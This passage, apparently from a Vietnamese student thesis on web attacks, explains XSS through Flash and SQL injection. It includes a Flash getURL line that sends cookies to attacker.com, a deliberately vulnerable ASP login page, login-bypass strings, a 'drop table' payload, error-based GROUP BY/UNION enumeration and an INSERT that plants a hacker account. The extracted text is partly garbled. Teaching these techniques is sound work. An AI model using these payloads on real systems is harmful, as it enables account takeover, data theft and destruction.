II.3 Tấn công XSS bằng flash

Ngoài những cách đưa một đoạn mã nguy hiểm thì hacker còn có thể lợi dụng những tập tin flash để đánh cắp thông tin

Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đã được xây dựng sẵn trong Flash là ActionScript ActionScript có cú pháp đơn giản và tương tự như JavaScript, C hay PERL Ví dụ hàm getURL() dùng để gọi một trang web khác, tham số thường là một URL chẳng hạn như http://www.yahoo.com

getURL(http://www.yahoo.com) Tuy nhiên có thể thay thể URL bằng JavaScript:

getURL(“javascript:alert(document.cookie)”)

Ví dụ trên sẽ làm xuất hiện bảng thông báo chứa cookie của trang web chứa tập tin flash đó Như vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn JavaScript vào ứng dụng web thông qua tập tin flash Một ví dụ khác rõ hơn về cách tấn công này là:

Đây là đoạn lệnh trong tập tin flash và sẽ được thi hành khi tập tin flash được đọc:

getURL(“javascript:location(„http://www.attacker.com?newcookie=‟+docume nt.cookie)”)

Như vậy là khi người dùng xem trang web chứa tập tin flash này thì ngay lập tức cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về cho hacker

Trang 29

I.4 Phát hiện XSS bằng cách nào?

Nếu như chúng ta sử dụng các mã nguồn của các chương trình có sẵn chúng ta

có thể tham khảo danh sách các lỗ hổng của chương trình bán trên các trang web chứa các thông tin về bảo mật như securityfocus.com, securiteam.com, Tuy nhiên nếu các website được tự viết mã nguồn thì chúng ta không thể áp dụng phương pháp trên Trong trường hợp này ta cần đến các chương trình scanner tự động Nếu sử dụng trong môi trường Windows chúng ta có thể dùng N-Stealth hay AppScan, đó là những chương trình scan khá tốt, ta không chỉ kiểm tra được các lỗi XSS mà nó còn cho phép ta kiểm tra các lỗi khác trong Website đó, Server đó

JavaScript/Java/VBScript/ActiveX/Flash Related nào

Null khiến cho ứng dụng dù đã lọc bỏ thẻ <script> vẫn không nhận

ra do ứng dụng nghĩ rằng chuỗi đã kết thúc từ kí tự Null này)

theo chuẩn riêng

có cho thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào

Trang 30

Nhận xét:

Kĩ thuật XSS khá phổ biến và dễ dàng áp dụng, tuy nhiên mức độ thiệt hại chỉ dừng lại ở mức độ tấn công trên máy nạn nhân thông qua những liên kết hay form lừa đảo mà hacker đưa đến cho nạn nhân Vì thế, ngoài việc ứng dụng kiểm tra tính đúng đắn của dữ liệu trước khi sử dụng thì việc cần nhất là người dùng nên cảnh giác trước khi bước vào một trang Web mới Có thể nói, nhờ vào sự cảnh giác của người dùng thì 90% đã đạt được sự bảo mật trong kĩ thuật này

III CHÈN CÂU TRUY VẤN SQL (SQL INJECTION)

IV.1 Khái niệm SQL Injection

SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để ―tiêm vào‖ (inject) và thi hành các câu lệnh SQL bất hợp pháp ( không được người phát triển ứng dụng lường trước) Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh,… do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản trị bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase

Trang 31

Để trình bày tốt nội dung này, đồ án sử dụng bảng Users

Ngôn ngữ lập trình sử dụng để minh họa là ASP với cơ sở dữ liệu là SQL

IV.2.1 Kĩ thuật tấn công vƣợt qua kiểm tra đăng nhập (authorization

bypass)

Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web

Xét một ví dụ điển hình, thông thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp theo

Ví dụ: Trang ASP xử lí dữ liệu người dùng đăng nhập có đoạn mã xử lí dữ liệu như sau:

<%

username = Trim(Request("txtUserName")) password = Trim(Request("txtPassWord"))

DSN="driver={SQL Server};server=(local);uid=sa;pwd=sa;

database=data1"

Trang 32

'strconn="provider=SQLOLEDB.1;Data Source=localhost;Persist Security Info=False;User ID=sa;PWD=sa; Initial Catalog=Sach"

Set RS = Server.CreateObject("ADODB.Recordset") Set Conn = Server.CreateObject("ADODB.Connection") conn.open DSN

SQL = "SELECT * FROM Quantri WHERE UserName='" & username &

"'and PassWord ='"& password&"'"

RS.Open SQL,Conn,3,1

If RS.EOF Then Response.Redirect("Login.asp?Error=Sai tên dang nhap hoac mat khau!")

End if

If RS("quyen") = 1 Then

Response.Redirect("admin.html") Else

Response.Redirect("user.html") End if

set Rs = nothing set SQL = nothing

%>

Đoạn mã trên kiểm tra chuỗi nhập Username và Password, nếu tồn tại trong bảng User thì cho phép đăng nhập và ngược lại Thoạt nhìn, đoạn mã dường như không chứa bất cứ một lỗ hổng về an toàn nào Người dùng không thể đăng nhập mà không có tên đăng nhập và mật khẩu hợp lệ Tuy nhiên, đoạn mã này thực sự không an toàn và là tiền đề cho một lỗi SQL injection Đặc biệt, chỗ sơ

hở nằm ở chỗ dữ liệu nhập vào là từ người dùng để xây dựng trực tiếp câu lệnh SQL Chính điều này cho phép những kẻ tấn công có thể điều khiển câu truy vấn để thực hiện

Trang 33

Ví dụ 1:

Giá trị nhập vào là:

Username: ‗or‘‘=‘ Hoặc hi' or 1=1

Password : ‗or‘‘=‘ Hoặc hi' or 1=1—

Lúc này câu lệnh SQL như sau:

SELECT * FROM Users WHERE Username='’OR’’=’' AND Password='’OR’'=’’ ;

Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:

' or 1=1

" or 1=1

or 1=1 ' or 'a'='a

" or "a"="a ') or ('a'='a

Câu truy vấn trên là luôn luôn đúng vì ‘’ luôn đúng ‘’ và sẽ trả về tất cả các

bản ghi của Users và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ

Kết hợp với kí tự đặc biệt của SQL:

 Kí tự ―;‖: đánh dấu kết thúc 1 câu truy vấn

 Kí tự ― ―: ẩn chuỗi kí tự phía sau nó trên cùng 1 dòng

Trang 34

Ví dụ 2:

Username: ‗; drop table Users Password:

Câu lệnh SQL lúc này như sau:

SELECT * FROM Users WHERE Username='’;drop table Users AND Password=;

Với câu lệnh trên thì bảng Users sẽ bị xóa hoàn toàn

Nếu như ta đã biết một tên User nào đó thì có thể nhập vào:

Username: admin‘ Password:

Câu lệnh SQL lúc này như sau:

SELECT * FROM Users WHERE Username='admin’ AND Password= ;

Câu lệnh trên cho phép đăng nhập với quyền của User đó mà không đòi hỏi password

IV.2.2 Tấn công dựa vào câu lệnh SELECT

Ngoài kĩ thuật đơn giản trên, việc tấn công thường dựa trên những thông báo lỗi để lấy thông tin về bảng cũng như những trường trong bảng Để làm được điều này, cần phải hiểu những thông báo lỗi và từ đó chỉnh sửa nội dung nhập cho phù hợp

Câu truy vấn cần để đăng nhập:

sqlStr="SELECT * FROM users WHERE username='"+username+"' AND password='"+password+"'"

Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử dụng câu điều kiện ―having‖, như ví dụ sau:

Trang 35

Nhờ vào lỗi phát sinh này mà biết được bảng sử dụng trong câu truy vấn là Users và trong bảng tồn tại một trường tên là Id

Sau đó sử dụng GROUP BY:

Username :‗group by User.Id having 1=1

Lỗi phát sinh:

Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Như vậy username là một trường được sử dụng trong bảng users và tham gia vào câu truy vấn

Tiếp tục sử dụng GROUP BY:

Username: ‗group by users.Id,users.username having 1=1

Lỗi phát sinh:

Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'users.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause

Trang 36

Như vậy password là một trường được sử dụng trong bảng users và tham gia vào câu truy vấn

Tiếp tục dùng GROUP BY cho đến khi biết được tất cả các trường trong bảng User tham gia vào câu truy vấn.Khi không còn báo lỗi cú pháp GROUP BY nữa thì chuyển qua công đoạn kiểm tra kiểu của từng trường trong bảng Lúc này UNION được sử dụng:

Username: ‗union select sum(Id) from Users

Lệnh sum là lệnh tính tổng cho đối số bên trong dấu ngoặc Đối số phải là kiểu

số Nếu đối số không là kiểu số thì phát sinh lỗi như sau:

Microsoft OLE DB Provider for SQL Server (0x80040E07) The sum or average aggregate operation cannot take a nchar data type as an argument

Như vậy với thông điệp lỗi như trên thì trường Id chắc chắn phải là kiểu

―nchar‖

Với phương pháp trên, dễ dàng xác định được kiểu của từng trường trong bảng Sau khi đã nhận đầy đủ thông tin trên thì hacker dễ dàng tự thêm thông tin vào bảng Users

Username: ';INSERT INTO Users VALUES (‗100‘,'hacker','',1)

Như vậy là hacker đã có một tài khoản để đăng nhập mà không cần mật khẩu chứng thực

Trang 37

Đây là một cách khác để xác định nội dung của bảng User, sử dụng phương pháp tìm kiếm thông tin như sau:

 Bước 1:

Tìm tuần tự từng dòng trên bảng Users

Username: ‗union select 1,1,1,1

Hoặc

Username: ‗union select min(Username),1,1,1 from Users where

Username> ‗a‘ Lỗi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error „80040e07‟ [Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error converting the varchar value „admin‟ to a column of data type int

Người đầu tiên trong bảng Users là ―admin‖

 Bước 2:

Để biết các giá trị tiếp theo, nhập chuỗi sau:

Username: ‗;select min(Username),1,1,1 from Users where Username>

‗admin‘ union select 1,1,1,1 from User

Ngày đăng: 22/08/2023, 00:56

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

🧩 Sản phẩm bạn có thể quan tâm

w